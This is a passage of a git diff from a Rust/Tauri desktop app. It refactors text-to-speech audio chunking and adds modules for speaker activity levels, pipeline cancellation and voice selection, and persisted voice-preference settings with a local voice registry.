-/// remaining gap. If playback underruns while the next unit is synthesized,
-/// that unit becomes a new playback boundary and receives a fresh cushion.
-///
-/// `first_append` is flipped on the first call after the player goes idle.
-/// The worker uses it in the idle branch of the main loop to distinguish
-/// "never queued anything since last drain" from "drained after speaking",
-/// which controls when `tts_active` is released and the lead-in re-armed.
-fn build_sentence_append_buffer(
-    first_append: &mut bool,
-    audio: Vec<f32>,
-    silence_buf_len: usize,
-    starts_playback_chunk: bool,
-    ends_playback_chunk: bool,
-) -> Vec<f32> {
-    if *first_append {
-        *first_append = false;
-    }
-
-    let lead_in_len = if starts_playback_chunk {
-        SENTENCE_LEAD_IN_SAMPLES
-    } else {
-        0
-    };
-    let trailing_silence_len = if ends_playback_chunk {
-        silence_buf_len.saturating_sub(SENTENCE_LEAD_IN_SAMPLES)
-    } else {
-        0
-    };
-    let mut buf = Vec::with_capacity(lead_in_len + audio.len() + trailing_silence_len);
-    buf.extend(std::iter::repeat_n(0.0_f32, lead_in_len));
-    buf.extend(audio);
-    buf.extend(std::iter::repeat_n(0.0_f32, trailing_silence_len));
-    buf
-}
-
-/// Group sentences into synthesis chunks.
-///
-/// The first sentence always stands alone — it is what the listener hears
-/// first, and synthesizing it by itself keeps time-to-first-audio at the
-/// single-sentence cost. Subsequent sentences pack greedily: a sentence
-/// joins the current chunk while the combined length stays within
-/// `max_chars`; otherwise it starts a new chunk. A single sentence longer
-/// than `max_chars` becomes its own chunk here, then the Pocket engine splits
-/// it at the April bundle's exact token limit before synthesis.
-///
-/// Sentences within a chunk are joined with a single space; sentence-ending
-/// punctuation is preserved by `split_sentences`, so the model sees natural
-/// multi-sentence prose — the same shape upstream's ~50-token chunker feeds it.
-fn group_sentences_into_chunks(sentences: &[String], max_chars: usize) -> Vec<String> {
-    let mut chunks: Vec<String> = Vec::new();
-    for (i, sentence) in sentences.iter().enumerate() {
-        let sentence = sentence.trim();
-        if sentence.is_empty() {
-            continue;
-        }
-        if i == 0 || chunks.is_empty() {
-            chunks.push(sentence.to_string());
-            continue;
-        }
-        // Never merge into the first chunk — it's the latency-critical one.
-        let can_merge = chunks.len() > 1
-            && chunks
-                .last()
-                .is_some_and(|c| c.len() + 1 + sentence.len() <= max_chars);
-        if can_merge {
-            let last = chunks.last_mut().expect("non-empty checked above");
-            last.push(' ');
-            last.push_str(sentence);
-        } else {
-            chunks.push(sentence.to_string());
-        }
-    }
-    chunks
-}
-
-// drain_until_shutdown lives in super (huddle/mod.rs) — shared with stt.rs.
-use super::drain_until_shutdown;
-
 // ── Tests ─────────────────────────────────────────────────────────────────────
 
 #[cfg(test)]
 #[path = "tts_tests.rs"]
 mod tests;
+#[cfg(test)]
+#[path = "tts_voice_selection_tests.rs"]
+mod voice_selection_tests;
diff --git a/desktop/src-tauri/src/huddle/tts_activity.rs b/desktop/src-tauri/src/huddle/tts_activity.rs
new file mode 100644
index 0000000000..8e69609186
--- /dev/null
+++ b/desktop/src-tauri/src/huddle/tts_activity.rs
@@ -0,0 +1,45 @@
+//! Agent TTS activity envelope shared with the participant film strip.
+
+#[derive(Clone, serde::Serialize)]
+pub(super) struct TtsSpeakerActivityPayload {
+    pub(super) pubkey: Option<String>,
+    pub(super) level: f32,
+}
+
+pub(super) struct TtsSpeakerActivityFrame {
+    pub(super) pubkey: String,
+    pub(super) level: f32,
+}
+
+/// Build a 50 ms RMS envelope from the exact audio queued for playback.
+/// The UI consumes these frames at the same cadence as remote speaker levels,
+/// so an agent uses the normal participant ring rather than a generic pulse.
+pub(super) fn build_tts_speaker_activity_frames(
+    samples: &[f32],
+    pubkey: &str,
+    sample_rate: usize,
+) -> Vec<TtsSpeakerActivityFrame> {
+    let samples_per_frame = (sample_rate / 20).max(1);
+    samples
+        .chunks(samples_per_frame)
+        .map(|frame| {
+            let mean_square = frame
+                .iter()
+                .map(|sample| f64::from(*sample) * f64::from(*sample))
+                .sum::<f64>()
+                / frame.len().max(1) as f64;
+            let rms = mean_square.sqrt() as f32;
+            let level = if rms <= 0.000_5 {
+                0.0
+            } else {
+                // Map roughly -60 dB..-12 dB into the same normalized range
+                // used by remote Opus speaker levels.
+                ((20.0 * rms.log10() + 60.0) / 48.0).clamp(0.12, 1.0)
+            };
+            TtsSpeakerActivityFrame {
+                pubkey: pubkey.to_string(),
+                level,
+            }
+        })
+        .collect()
+}
diff --git a/desktop/src-tauri/src/huddle/tts_audio.rs b/desktop/src-tauri/src/huddle/tts_audio.rs
new file mode 100644
index 0000000000..58300b7497
--- /dev/null
+++ b/desktop/src-tauri/src/huddle/tts_audio.rs
@@ -0,0 +1,235 @@
+use super::{FADE_OUT_SAMPLES, SENTENCE_LEAD_IN_SAMPLES};
+
+pub(super) struct PreparedModelAudio {
+    pub(super) buffer: Vec<f32>,
+    pub(super) sample_count: usize,
+    pub(super) chunk_index: usize,
+}
+
+/// Holds one synthesized model unit so playback-boundary decoration is based
+/// on the first and last unit that actually produced audio.
+pub(super) struct PlaybackChunkAudio {
+    pending: Option<(Vec<f32>, usize)>,
+    appended: bool,
+}
+
+impl PlaybackChunkAudio {
+    pub(super) fn new() -> Self {
+        Self {
+            pending: None,
+            appended: false,
+        }
+    }
+
+    pub(super) fn push(
+        &mut self,
+        samples: Vec<f32>,
+        chunk_index: usize,
+        first_append: &mut bool,
+        silence_buf_len: usize,
+        playback_idle: bool,
+    ) -> Option<PreparedModelAudio> {
+        if samples.is_empty() {
+            return None;
+        }
+        let previous = self.pending.replace((samples, chunk_index))?;
+        let prepared = prepare_model_audio(
+            previous,
+            first_append,
+            silence_buf_len,
+            !self.appended || playback_idle,
+            false,
+        );
+        self.appended = true;
+        Some(prepared)
+    }
+
+    pub(super) fn finish(
+        &mut self,
+        first_append: &mut bool,
+        silence_buf_len: usize,
+        playback_idle: bool,
+    ) -> Option<PreparedModelAudio> {
+        let pending = self.pending.take()?;
+        Some(prepare_model_audio(
+            pending,
+            first_append,
+            silence_buf_len,
+            !self.appended || playback_idle,
+            true,
+        ))
+    }
+}
+
+fn prepare_model_audio(
+    (samples, chunk_index): (Vec<f32>, usize),
+    first_append: &mut bool,
+    silence_buf_len: usize,
+    starts_playback_chunk: bool,
+    ends_playback_chunk: bool,
+) -> PreparedModelAudio {
+    let sample_count = samples.len();
+    let mut audio = clamp_to_full_scale(samples);
+    if ends_playback_chunk {
+        apply_fade_out(&mut audio);
+    }
+    PreparedModelAudio {
+        buffer: build_sentence_append_buffer(
+            first_append,
+            audio,
+            silence_buf_len,
+            starts_playback_chunk,
+            ends_playback_chunk,
+        ),
+        sample_count,
+        chunk_index,
+    }
+}
+
+/// Hard-clamp samples to ±1.0 full scale.
+pub(super) fn clamp_to_full_scale(samples: Vec<f32>) -> Vec<f32> {
+    samples.into_iter().map(|s| s.clamp(-1.0, 1.0)).collect()
+}
+
+/// Apply a short linear fade-out to avoid a discontinuity at playback boundaries.
+pub(super) fn apply_fade_out(samples: &mut [f32]) {
+    let len = samples.len();
+    let fade = FADE_OUT_SAMPLES.min(len / 2);
+    for i in 0..fade {
+        samples[len - 1 - i] *= i as f32 / fade as f32;
+    }
+}
+
+pub(super) fn build_sentence_append_buffer(
+    first_append: &mut bool,
+    audio: Vec<f32>,
+    silence_buf_len: usize,
+    starts_playback_chunk: bool,
+    ends_playback_chunk: bool,
+) -> Vec<f32> {
+    if *first_append {
+        *first_append = false;
+    }
+
+    let lead_in_len = if starts_playback_chunk {
+        SENTENCE_LEAD_IN_SAMPLES
+    } else {
+        0
+    };
+    let trailing_silence_len = if ends_playback_chunk {
+        silence_buf_len.saturating_sub(SENTENCE_LEAD_IN_SAMPLES)
+    } else {
+        0
+    };
+    let mut buffer = Vec::with_capacity(lead_in_len + audio.len() + trailing_silence_len);
+    buffer.extend(std::iter::repeat_n(0.0_f32, lead_in_len));
+    buffer.extend(audio);
+    buffer.extend(std::iter::repeat_n(0.0_f32, trailing_silence_len));
+    buffer
+}
+
+pub(super) fn group_sentences_into_chunks(sentences: &[String], max_chars: usize) -> Vec<String> {
+    let mut chunks: Vec<String> = Vec::new();
+    for (index, sentence) in sentences.iter().enumerate() {
+        let sentence = sentence.trim();
+        if sentence.is_empty() {
+            continue;
+        }
+        if index == 0 || chunks.is_empty() {
+            chunks.push(sentence.to_string());
+            continue;
+        }
+        let can_merge = chunks.len() > 1
+            && chunks
+                .last()
+                .is_some_and(|chunk| chunk.len() + 1 + sentence.len() <= max_chars);
+        if can_merge {
+            if let Some(last) = chunks.last_mut() {
+                last.push(' ');
+                last.push_str(sentence);
+            }
+        } else {
+            chunks.push(sentence.to_string());
+        }
+    }
+    chunks
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn multi_unit_audio_decorates_only_outer_playback_boundaries() {
+        let mut chunk = PlaybackChunkAudio::new();
+        let mut first_append = true;
+        let silence = SENTENCE_LEAD_IN_SAMPLES + 100;
+
+        assert!(chunk
+            .push(vec![0.4; 16], 0, &mut first_append, silence, false)
+            .is_none());
+        let first = chunk
+            .push(vec![0.5; 16], 1, &mut first_append, silence, false)
+            .expect("first ready model unit");
+        assert_eq!(first.buffer.len(), SENTENCE_LEAD_IN_SAMPLES + 16);
+        assert!(first.buffer[..SENTENCE_LEAD_IN_SAMPLES]
+            .iter()
+            .all(|sample| *sample == 0.0));
+        assert_eq!(first.buffer[SENTENCE_LEAD_IN_SAMPLES], 0.4);
+
+        let last = chunk
+            .finish(&mut first_append, silence, false)
+            .expect("last ready model unit");
+        assert_eq!(last.buffer.len(), 16 + 100);
+        assert_eq!(last.buffer.last(), Some(&0.0));
+    }
+
+    #[test]
+    fn empty_edge_units_do_not_steal_lead_in_or_trailing_boundary() {
+        let mut chunk = PlaybackChunkAudio::new();
+        let mut first_append = true;
+        let silence = SENTENCE_LEAD_IN_SAMPLES + 100;
+
+        assert!(chunk
+            .push(Vec::new(), 0, &mut first_append, silence, false)
+            .is_none());
+        assert!(chunk
+            .push(vec![0.5; 16], 1, &mut first_append, silence, false)
+            .is_none());
+        assert!(chunk
+            .push(Vec::new(), 2, &mut first_append, silence, false)
+            .is_none());
+
+        let only = chunk
+            .finish(&mut first_append, silence, false)
+            .expect("only audible model unit");
+        assert_eq!(only.buffer.len(), SENTENCE_LEAD_IN_SAMPLES + 16 + 100);
+        assert!(only.buffer[..SENTENCE_LEAD_IN_SAMPLES]
+            .iter()
+            .all(|sample| *sample == 0.0));
+        assert_eq!(only.buffer.last(), Some(&0.0));
+    }
+
+    #[test]
+    fn playback_underrun_rearms_the_onset_cushion() {
+        let mut chunk = PlaybackChunkAudio::new();
+        let mut first_append = true;
+        let silence = SENTENCE_LEAD_IN_SAMPLES + 100;
+
+        assert!(chunk
+            .push(vec![0.4; 16], 0, &mut first_append, silence, false)
+            .is_none());
+        let first = chunk
+            .push(vec![0.5; 16], 1, &mut first_append, silence, false)
+            .expect("first model unit");
+        assert_eq!(first.buffer.len(), SENTENCE_LEAD_IN_SAMPLES + 16);
+
+        let after_underrun = chunk
+            .push(vec![0.6; 16], 2, &mut first_append, silence, true)
+            .expect("model unit after underrun");
+        assert_eq!(after_underrun.buffer.len(), SENTENCE_LEAD_IN_SAMPLES + 16);
+        assert!(after_underrun.buffer[..SENTENCE_LEAD_IN_SAMPLES]
+            .iter()
+            .all(|sample| *sample == 0.0));
+    }
+}
diff --git a/desktop/src-tauri/src/huddle/tts_pipeline_controls.rs b/desktop/src-tauri/src/huddle/tts_pipeline_controls.rs
new file mode 100644
index 0000000000..0ee472f0fd
--- /dev/null
+++ b/desktop/src-tauri/src/huddle/tts_pipeline_controls.rs
@@ -0,0 +1,100 @@
+use super::*;
+
+impl TtsPipeline {
+    /// Queue `text` for TTS synthesis and playback.
+    ///
+    /// Non-blocking. Returns `Err` if the queue is full (bounded at
+    /// `TEXT_QUEUE_DEPTH`) — caller may log and discard.
+    pub fn speak(&self, text: String) -> Result<(), String> {
+        self.text_tx
+            .try_send(QueuedText {
+                generation: self.voice_generation.load(Ordering::Acquire),
+                route_id: 0,
+                speaker_pubkey: None,
+                speaker_generation: 0,
+                voice_reference: None,
+                text,
+            })
+            .map_err(|e| {
+                eprintln!("buzz-desktop: TTS queue saturated, dropping message: {e}");
+                format!("TTS queue full, dropping: {e}")
+            })
+    }
+
+    /// Clone the bounded queue sender so callers can apply backpressure without
+    /// holding the huddle mutex. Disabling TTS drops the receiver and unblocks
+    /// any waiting sender while the shared cancellation flag stops playback.
+    pub(crate) fn text_sender(&self) -> TtsTextSender {
+        TtsTextSender {
+            text_tx: self.text_tx.clone(),
+            generation: self.voice_generation.load(Ordering::Acquire),
+            speaker_generations: Arc::clone(&self.speaker_generations),
+        }
+    }
+
+    /// Invalidate speech queued for one agent and cancel the player only when
+    /// that same agent currently owns it.
+    pub(crate) fn cancel_speaker(&self, speaker_pubkey: &str) {
+        request_speaker_cancel(
+            &self.speaker_generations,
+            &self.active_speaker,
+            &self.speaker_cancel,
+            speaker_pubkey,
+        );
+    }
+
+    /// Cancel exactly the speaker utterance currently owning playback.
+    ///
+    /// The speaker generation is advanced while ownership is locked, so a
+    /// stale Stop click cannot cancel a later utterance that starts after the
+    /// observed one drains.
+    pub(crate) fn cancel_active_speaker(&self, expected_speaker_pubkey: &str) -> bool {
+        request_active_speaker_cancel(
+            &self.speaker_generations,
+            &self.active_speaker,
+            &self.speaker_cancel,
+            &self.playback_probe,
+            expected_speaker_pubkey,
+        )
+    }
+
+    /// Select a bundled Pocket voice for subsequent speech.
+    ///
+    /// Current playback and queued text are cancelled immediately so content
+    /// cannot continue in the old voice. The worker keeps its warmed inference
+    /// engine and reloads only the reference style before the next utterance.
+    pub fn select_voice(&self, voice: &str) -> Option<tokio::sync::oneshot::Receiver<()>> {
+        let acknowledged = begin_voice_change(
+            &self.voice,
+            &self.voice_generation,
+            &self.voice_cancel,
+            &self.voice_change_ack,
+            voice,
+        );
+        if acknowledged.is_some() {
+            eprintln!("buzz-desktop: tts stage=cancellation reason=voice_switch route_id=0");
+        }
+        acknowledged
+    }
+
+    /// Reconcile the voice of a pipeline that has not been published yet.
+    ///
+    /// No caller can enqueue text before publication, so raising the shared
+    /// cancellation flag here would create a race that could discard the first
+    /// message queued immediately after installation.
+    pub(crate) fn select_voice_before_publish(&self, voice: &str) {
+        *self.voice.lock().unwrap_or_else(|error| error.into_inner()) = voice.to_string();
+    }
+
+    /// Signal the worker thread to stop.
+    pub fn shutdown(&self) {
+        eprintln!("buzz-desktop: tts stage=cancellation reason=shutdown route_id=0");
+        self.shutdown.store(true, Ordering::Release);
+    }
+
+    /// Returns `true` if the worker thread has exited (init failure, crash, or normal exit).
+    /// Used by hot-start to detect dead pipelines and clear them for retry.
+    pub fn is_finished(&self) -> bool {
+        self.thread.as_ref().is_none_or(|h| h.is_finished())
+    }
+}
diff --git a/desktop/src-tauri/src/huddle/tts_settings.rs b/desktop/src-tauri/src/huddle/tts_settings.rs
new file mode 100644
index 0000000000..64fd6d8a94
--- /dev/null
+++ b/desktop/src-tauri/src/huddle/tts_settings.rs
@@ -0,0 +1,972 @@
+//! Installation-global text-to-speech preferences and the local voice registry.
+//!
+//! Voice keys are backend-qualified (`pocket:mary`, `siri:aaron`) and
+//! preferences are ordered. A client resolves the first compatible entry for
+//! its one active playback backend. The same [`VoicePreferences`] value can be
+//! embedded in installation-global settings or future agent identity without a
+//! schema change. Availability is intentionally client-local.
+
+use std::{
+    path::{Path, PathBuf},
+    sync::{Arc, Mutex},
+    time::Duration,
+};
+
+use serde::{Deserialize, Serialize};
+use tauri::{AppHandle, Manager, State};
+
+use crate::{app_state::AppState, managed_agents::storage::atomic_write_json_restricted};
+
+use super::{
+    models,
+    pocket::DEFAULT_VOICE,
+    tts_voice_registry::{source_url, MARY_VOICE_KEY, POCKET_VOICES},
+    HuddlePhase, HuddleState,
+};
+
+const SETTINGS_FILE: &str = "tts-settings.json";
+const CURRENT_VERSION: u32 = 1;
+const VOICE_CHANGE_ACK_TIMEOUT: Duration = Duration::from_secs(5);
+pub const POCKET_BACKEND_ID: &str = "pocket";
+
+type VoiceChangeWait = (
+    Arc<super::tts::TtsPipeline>,
+    tokio::sync::oneshot::Receiver<()>,
+);
+
+const VOICE_AVAILABILITY_BUNDLED: &str = "bundled";
+const VOICE_AVAILABILITY_INSTALLED: &str = "installed";
+
+/// Installation-global huddle audio and speech preferences.
+#[derive(Default)]
+pub struct HuddleAudioSettingsState {
+    pub tts: Mutex<TtsSettings>,
+    pub tts_load_error: Mutex<Option<String>>,
+    pub tts_transition: tokio::sync::Mutex<()>,
+    /// Selected huddle output device. `None` uses the system default.
+    pub output_device: Mutex<Option<String>>,
+}
+
+#[derive(Debug, Clone, Serialize, PartialEq, Eq)]
+#[serde(rename_all = "camelCase")]
+pub struct VoiceRegistryEntry {
+    /// Stable identity, never derived from or merged by the display name.
+    ///
+    /// Built-ins use `backend:slug`. Future imports use
+    /// `pocket:imported:<audio-content-sha256>` so two clips with the same
+    /// editable label remain distinct.
+    pub key: String,
+    pub display_name: String,
+    pub backend: String,
+    pub backend_name: String,
+    /// Client-local state: bundled, installed, downloadable, or unavailable.
+    pub availability: String,
+    pub fallback_key: Option<String>,
+    pub reference_file: Option<String>,
+    pub provenance: VoiceProvenance,
+}
+
+#[derive(Debug, Clone, Serialize, PartialEq, Eq)]
+#[serde(rename_all = "camelCase")]
+pub struct VoiceProvenance {
+    pub source: String,
+    pub content_hash: Option<String>,
+    pub license: Option<String>,
+    pub source_url: Option<String>,
+}
+
+/// Ordered, backend-qualified preferences shared by global and agent settings.
+///
+/// Unknown but well-formed keys remain persisted because a different client
+/// may have that backend installed. Resolution is always local.
+pub type VoicePreferences = Vec<String>;
+
+/// Bundled Pocket voices available without local imports.
+pub fn bundled_voice_registry() -> Vec<VoiceRegistryEntry> {
+    POCKET_VOICES
+        .iter()
+        .map(|voice| VoiceRegistryEntry {
+            key: voice.key.to_string(),
+            display_name: voice.display_name.to_string(),
+            backend: POCKET_BACKEND_ID.to_string(),
+            backend_name: "Pocket TTS".to_string(),
+            availability: VOICE_AVAILABILITY_BUNDLED.to_string(),
+            fallback_key: (voice.key != MARY_VOICE_KEY).then(|| MARY_VOICE_KEY.to_string()),
+            reference_file: Some(voice.reference_file.to_string()),
+            provenance: VoiceProvenance {
+                source: "bundled".to_string(),
+                content_hash: Some(voice.sha256.to_string()),
+                license: Some("CC-BY-4.0".to_string()),
+                source_url: Some(source_url(voice)),
+            },
+        })
+        .collect()
+}
+
+/// Cross-backend registry of bundled and locally installed voices.
+pub fn voice_registry(app: &AppHandle) -> Vec<VoiceRegistryEntry> {
+    let mut registry = bundled_voice_registry();
+    match super::tts_voice_import::load_registry(app) {
+        Ok(imported) => registry.extend(imported.into_iter().map(|voice| VoiceRegistryEntry {
+            key: voice.key,
+            display_name: voice.display_name,
+            backend: POCKET_BACKEND_ID.to_string(),
+            backend_name: "Pocket TTS".to_string(),
+            availability: VOICE_AVAILABILITY_INSTALLED.to_string(),
+            fallback_key: Some(MARY_VOICE_KEY.to_string()),
+            reference_file: Some(voice.file_name),
+            provenance: VoiceProvenance {
+                source: "local import".to_string(),
+                content_hash: Some(voice.content_hash),
+                license: None,
+                source_url: None,
+            },
+        })),
+        Err(error) => {
+            eprintln!(
+                "buzz-desktop: {error}; imported Pocket voices are unavailable for this session"
+            );
+        }
+    }
+    registry
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+#[serde(rename_all = "camelCase")]
+pub struct TtsSettings {
+    pub version: u32,
+    pub agent_text_to_speech: bool,
+    pub voice_preferences: VoicePreferences,
+}
+
+impl Default for TtsSettings {
+    fn default() -> Self {
+        Self {
+            version: CURRENT_VERSION,
+            agent_text_to_speech: true,
+            voice_preferences: vec![MARY_VOICE_KEY.to_string()],
+        }
+    }
+}
+
+pub fn voice_by_key(app: &AppHandle, key: &str) -> Option<VoiceRegistryEntry> {
+    voice_registry(app)
+        .into_iter()
+        .find(|voice| voice.key == key)
+}
+
+fn is_qualified_voice_key(key: &str) -> bool {
+    key.split_once(':')
+        .is_some_and(|(backend, voice)| !backend.is_empty() && !voice.is_empty())
+}
+
+fn is_locally_available(availability: &str) -> bool {
+    matches!(
+        availability,
+        VOICE_AVAILABILITY_BUNDLED | VOICE_AVAILABILITY_INSTALLED
+    )
+}
+
+#[cfg(test)]
+pub fn resolve_voice_for_backend(
+    preferences: &[String],
+    backend: &str,
+) -> Result<VoiceRegistryEntry, String> {
+    resolve_voice_for_backend_in_registry(preferences, backend, &bundled_voice_registry())
+}
+
+pub(crate) fn resolve_voice_for_backend_in_registry(
+    preferences: &[String],
+    backend: &str,
+    registry: &[VoiceRegistryEntry],
+) -> Result<VoiceRegistryEntry, String> {
+    preferences
+        .iter()
+        .filter_map(|key| registry.iter().find(|voice| voice.key == *key))
+        .find(|voice| voice.backend == backend && is_locally_available(voice.availability.as_str()))
+        .or_else(|| {
+            registry.iter().find(|voice| {
+                voice.backend == backend
+                    && voice.fallback_key.is_none()
+                    && is_locally_available(voice.availability.as_str())
+            })
+        })
+        .cloned()
+        .ok_or_else(|| format!("No locally available fallback voice for backend {backend}"))
+}
+
+pub fn bundled_pocket_voice_reference(preferences: &[String]) -> String {
+    resolve_voice_for_backend_in_registry(preferences, POCKET_BACKEND_ID, &bundled_voice_registry())
+        .ok()
+        .and_then(|voice| voice.reference_file)
+        .and_then(|file| file.strip_suffix(".wav").map(str::to_string))
+        .unwrap_or_else(|| DEFAULT_VOICE.to_string())
+}
+
+pub fn pocket_voice_reference(app: &AppHandle, preferences: &[String]) -> Result<String, String> {
+    let registry = voice_registry(app);
+    let voice = resolve_voice_for_backend_in_registry(preferences, POCKET_BACKEND_ID, &registry)?;
+    if voice.key.starts_with("pocket:imported:") {
+        let imported = super::tts_voice_import::load_registry(app)?
+            .into_iter()
+            .find(|candidate| candidate.key == voice.key)
+            .ok_or_else(|| format!("Imported voice {} is unavailable", voice.display_name))?;
+        return super::tts_voice_import::resolve_file(app, &imported)
+            .map(|path| path.to_string_lossy().into_owned());
+    }
+    Ok(voice
+        .reference_file
+        .and_then(|file| file.strip_suffix(".wav").map(str::to_string))
+        .unwrap_or_else(|| DEFAULT_VOICE.to_string()))
+}
+
+pub(crate) fn settings_path(app: &AppHandle) -> Result<PathBuf, String> {
+    app.path()
+        .app_data_dir()
+        .map(|dir| dir.join(SETTINGS_FILE))
+        .map_err(|error| format!("could not locate Buzz settings storage: {error}"))
+}
+
+pub(crate) fn load_from_path(path: &Path) -> Result<TtsSettings, String> {
+    if !path.exists() {
+        return Ok(TtsSettings::default());
+    }
+    let bytes = std::fs::read(path)
+        .map_err(|error| format!("could not read text-to-speech settings: {error}"))?;
+    let value: serde_json::Value = serde_json::from_slice(&bytes)
+        .map_err(|error| format!("text-to-speech settings are not valid JSON: {error}"))?;
+
+    // Unversioned settings are incompatible with the V1 schema. Use
+    // deterministic V1 defaults rather than interpreting ambiguous fields.
+    if value.get("version").is_none() {
+        return Ok(TtsSettings::default());
+    }
+
+    let version = value
+        .get("version")
+        .and_then(serde_json::Value::as_u64)
+        .ok_or("text-to-speech settings version is invalid")?;
+    if version > u64::from(CURRENT_VERSION) {
+        return Err(format!(
+            "text-to-speech settings version {version} is newer than this Buzz build supports"
+        ));
+    }
+
+    // Legacy V1 settings may contain one bare Pocket `voiceId`. Preserve the
+    // toggle and qualify it into the ordered cross-backend preference schema.
+    if value.get("voicePreferences").is_none() {
+        let legacy_voice = value
+            .get("voiceId")
+            .or_else(|| value.get("voice_id"))
+            .and_then(serde_json::Value::as_str)
+            .unwrap_or("mary");
+        let voice_key = if is_qualified_voice_key(legacy_voice) {
+            legacy_voice.to_string()
+        } else {
+            format!("{POCKET_BACKEND_ID}:{legacy_voice}")
+        };
+        return Ok(TtsSettings {
+            version: CURRENT_VERSION,
+            agent_text_to_speech: value
+                .get("agentTextToSpeech")
+                .and_then(serde_json::Value::as_bool)
+                .unwrap_or(true),
+            voice_preferences: vec![voice_key],
+        });
+    }
+
+    let mut settings: TtsSettings = serde_json::from_value(value)
+        .map_err(|error| format!("text-to-speech settings are invalid: {error}"))?;
+    settings.version = CURRENT_VERSION;
+    if settings.voice_preferences.is_empty()
+        || settings
+            .voice_preferences
+            .iter()
+            .any(|key| !is_qualified_voice_key(key))
+    {
+        settings.voice_preferences = TtsSettings::default().voice_preferences;
+    }
+    Ok(settings)
+}
+
+pub(crate) fn save_to_path(path: &Path, settings: &TtsSettings) -> Result<(), String> {
+    if settings.voice_preferences.is_empty() {
+        return Err("At least one voice preference is required".to_string());
+    }
+    if let Some(key) = settings
+        .voice_preferences
+        .iter()
+        .find(|key| !is_qualified_voice_key(key))
+    {
+        return Err(format!(
+            "Voice preference keys must be backend-qualified: {key}"
+        ));
+    }
+    let payload = serde_json::to_vec_pretty(settings)
+        .map_err(|error| format!("could not encode text-to-speech settings: {error}"))?;
+    atomic_write_json_restricted(path, &payload)
+        .map_err(|error| format!("could not save text-to-speech settings: {error}"))
+}
+
+pub fn load_for_app(app: &AppHandle) -> (TtsSettings, Option<String>) {
+    let result = settings_path(app).and_then(|path| load_from_path(&path));
+    match result {
+        Ok(settings) => (settings, None),
+        Err(error) => {
+            eprintln!("buzz-desktop: {error}; preserving the file and using Mary for this session");
+            (TtsSettings::default(), Some(error))
+        }
+    }
+}
+
+#[tauri::command]
+pub fn get_tts_settings(state: State<'_, AppState>) -> Result<TtsSettings, String> {
+    if let Some(error) = state
+        .huddle_audio
+        .tts_load_error
+        .lock()
+        .map_err(|lock_error| format!("text-to-speech settings lock poisoned: {lock_error}"))?
+        .clone()
+    {
+        return Err(format!(
+            "Voice settings could not be loaded and were left unchanged: {error}"
+        ));
+    }
+    state
+        .huddle_audio
+        .tts
+        .lock()
+        .map(|settings| settings.clone())
+        .map_err(|error| format!("text-to-speech settings lock poisoned: {error}"))
+}
+
+#[tauri::command]
+pub fn list_voice_registry(app: AppHandle) -> Vec<VoiceRegistryEntry> {
+    voice_registry(&app)
+}
+
+fn ensure_settings_writable(state: &AppState) -> Result<(), String> {
+    if let Some(error) = state
+        .huddle_audio
+        .tts_load_error
+        .lock()
+        .map_err(|lock_error| format!("text-to-speech settings lock poisoned: {lock_error}"))?
+        .as_ref()
+    {
+        return Err(format!(
+            "Voice settings were not saved because the existing file could not be loaded: {error}"
+        ));
+    }
+    Ok(())
+}
+
+fn cancel_huddle_speech(
+    huddle: &mut super::HuddleState,
+) -> Option<std::sync::Arc<super::tts::TtsPipeline>> {
+    huddle.tts_enabled = false;
+    huddle
+        .tts_cancel
+        .store(true, std::sync::atomic::Ordering::Release);
+    huddle.tts_pipeline.take()
+}
+
+fn disable_tts_runtime(state: &AppState) -> Result<(), String> {
+    let old_pipeline = {
+        let mut huddle = state.huddle()?;
+        cancel_huddle_speech(&mut huddle)
+    };
+    if let Some(ref pipeline) = old_pipeline {
+        pipeline.shutdown();
+    }
+    drop(old_pipeline);
+    state.emit_huddle_state_changed();
+    Ok(())
+}
+
+fn commit_effective_off(state: &AppState) -> Result<(), String> {
+    state
+        .huddle_audio
+        .tts
+        .lock()
+        .map_err(|error| format!("text-to-speech settings lock poisoned: {error}"))?
+        .agent_text_to_speech = false;
+    Ok(())
+}
+
+fn enable_tts_runtime(huddle: &mut HuddleState, voice: &str) -> Option<VoiceChangeWait> {
+    huddle.tts_enabled = true;
+    // OFF removes the pipeline. Clear a prior cancellation only when enabling
+    // a fresh pipeline; an idempotent ON write must not erase a voice
+    // transition that the existing worker still needs to drain.
+    prepare_enable_cancel(&huddle.tts_cancel, huddle.tts_pipeline.is_some());
+    huddle.tts_pipeline.as_ref().and_then(|pipeline| {
+        pipeline
+            .select_voice(voice)
+            .map(|acknowledged| (Arc::clone(pipeline), acknowledged))
+    })
+}
+
+fn prepare_enable_cancel(cancel: &std::sync::atomic::AtomicBool, has_pipeline: bool) {
+    if !has_pipeline {
+        cancel.store(false, std::sync::atomic::Ordering::Release);
+    }
+}
+
+async fn apply_tts_settings(
+    settings: TtsSettings,
+    app: &AppHandle,
+    state: &AppState,
+) -> Result<Option<VoiceChangeWait>, String> {
+    if settings.version != CURRENT_VERSION {
+        return Err(format!(
+            "Unsupported text-to-speech settings version: {}",
+            settings.version
+        ));
+    }
+
+    // OFF is safety-sensitive: stop current and queued speech before any disk
+    // I/O, and never resume it merely because persistence fails.
+    if !settings.agent_text_to_speech {
+        disable_tts_runtime(state)?;
+        commit_effective_off(state)?;
+    }
+
+    ensure_settings_writable(state)?;
+    save_to_path(&settings_path(app)?, &settings)?;
+
+    *state
+        .huddle_audio
+        .tts
+        .lock()
+        .map_err(|error| format!("text-to-speech settings lock poisoned: {error}"))? =
+        settings.clone();
+
+    let mut voice_change_wait = None;
+    if settings.agent_text_to_speech {
+        let (active, voice_change_ack) = {
+            let mut huddle = state.huddle()?;
+            let voice_reference = pocket_voice_reference(app, &settings.voice_preferences)?;
+            let voice_change_ack = enable_tts_runtime(&mut huddle, &voice_reference);
+            (
+                matches!(huddle.phase, HuddlePhase::Connected | HuddlePhase::Active),
+                voice_change_ack,
+            )
+        };
+        voice_change_wait = voice_change_ack;
+        if active {
+            if let Err(error) = super::pipeline::maybe_start_tts_pipeline(state).await {
+                eprintln!("buzz-desktop: could not hot-start text to speech: {error}");
+            }
+        }
+        state.emit_huddle_state_changed();
+    }
+    Ok(voice_change_wait)
+}
+
+fn current_settings(state: &AppState) -> Result<TtsSettings, String> {
+    state
+        .huddle_audio
+        .tts
+        .lock()
+        .map_err(|error| format!("text-to-speech settings lock poisoned: {error}"))
+        .map(|settings| settings.clone())
+}
+
+async fn finish_voice_change(voice_change: Option<VoiceChangeWait>) -> Result<(), String> {
+    let Some((pipeline, acknowledged)) = voice_change else {
+        return Ok(());
+    };
